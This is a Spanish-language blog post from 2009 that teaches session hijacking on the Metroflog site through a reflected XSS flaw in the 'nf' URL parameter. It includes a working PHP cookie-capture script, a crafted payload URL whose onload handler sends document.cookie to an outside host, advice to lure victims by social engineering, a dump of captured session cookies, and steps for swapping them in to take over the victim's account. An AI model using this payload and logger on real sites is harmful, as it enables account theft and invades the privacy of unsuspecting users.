Autor: Molder
Fecha:15 Oct 2009
Desde hace tiempo metroflog es vulnerable a
XSS pero no se por que los administradores del sitio no hacen nada, aunque gracias a ello podemos seguir aprendiendo XD.
Esta vez toca hacer un
robo de sesión de un usuario metroflog, esto quiere decir que podremos ingresar en la sesión de otro usuario siempre y cuando el la mantenga viva.
Como ya muchos saben el error
XSS se encuentra en la URL que sale en el momento en que damos clic sobre alguna foto de la barra superior (Esa que se desplaza y enseña mas fotos).
Cuando damos clic aparece una URL similar a esta:
http://www.metroflog.com/dunkel015/20091014/chido?pos=20091014&nf=
la variable hoy vulnerable es nf=
Lo que aremos es iniciar sesión en nuestra cuenta y verificamos que es nuestro nombre de usuario el que aparece:
Ahora para
robar la sesión es necesario subir un script para capturar cookies en algún servidor:
<?php
$method = strtolower($_SERVER['REQUEST_METHOD']);
switch($method)
{
case 'get':
$CONTEXT =& $_GET;
break;
case 'post':
$CONTEXT =& $_POST;
break;
default:
$CONTEXT = array();
break;
}
$cookie = isset($CONTEXT["cookie"]) ? $CONTEXT["cookie"] : "";
if(!empty($cookie) )
{
$filename = 'cookies.txt';
$text = time().": $cookie\n\n";
if (file_exists($filename))
{
if (is_writable($filename))
{
$handle = fopen($filename, 'a');
fwrite($handle, $text);
fclose($handle);
}
}
else
{
$handle = fopen($filename,'w+');
fwrite($handle, $text);
}
}
?>
Después mediante alguna técnica de
Ing. social hacemos que nuestra victima ingrese en su cuenta y ademas de clic sobre un enlace malicioso:
http://www.metroflog.com/dunkel015/20091014/chido?pos=20091014&nf="><img src='http://www.google.com.mx/intl/es_mx/images/logo.gif' alt='XSS'onload="this.src='http://www.aztlan-hack.org/cookie.php?cookie='%2Bdocument.cookie">
Lo que hace esta URL es inyectar una imagen (logo de google) y cuando se termina de cargar ejecuta un Javascript onload que se encarga de llamar nuestra pagina que captura la cookie ademas de pesarle la variable document.cookie.
Una vez que nuestra victima cae en la trampa revisamos nuestro LOG de cookies generado por el script malicioso y vemos lo que captura:
real_codigopais=136;
__utma=18306213.223340742.1255558717.1255558717.1255623477.2;
__utmz=18306213.1255558717.1.1.utmccn=(organic)|utmcsr=google|utmctr=metroflo|utmcmd=organic;
remember=y; fox_cornetto=s; PHPSESSID=65a08e27af64834892186af59c475879;
__utmb=18306213;
__utmc=18306213;
sid_public=c768.cf40.c768.cf38;
sid_private=14867.15037.13cbd.14876.12929.111c4.10de1.58;
showing_usuario=dunkel015;
showing_rowinfo=a:24:{i:0;s:8:\"30583050\";i:1;s:9:\
"dunkel015\";i:2;s:6:\"333333\
";i:3;s:6:\"99FFCC\";i:4;s:6:\
"FF0033\";i:5;s:6:\"333300\
";i:6;s:6:\"9999CC\";i:7;s:6:\"66CC66\
";i:8;s:1:\"2\";i:9;s:1:\"T\
";i:10;s:1:\"T\";i:11;s:1:\"S\
";i:12;s:5:\"-0500\";i:13;s:2:\"20\
";i:14;s:1:\"M\";i:15;s:1:\"N\
";i:16;s:0:\"\";i:17;s:0:\"\";i:18;s:1:\
"S\";i:19;s:10:\"2009-10-14\";i:20;s:0:\"\
";i:21;s:1:\"1\";i:22;s:1:\"S\";i:23;s:4:\"nada\";}
Ahora editamos la cookie nuestra con cualquier editor sustituyendo todas las variables por las nuevas obtenidas de la victima.
Ahora al recargar la pagina nuestra cuenta de usuario en la que estamos es la de la victima.
Bueno ahora solo falta esperar para cuando metroflog arregla esto, Salu2.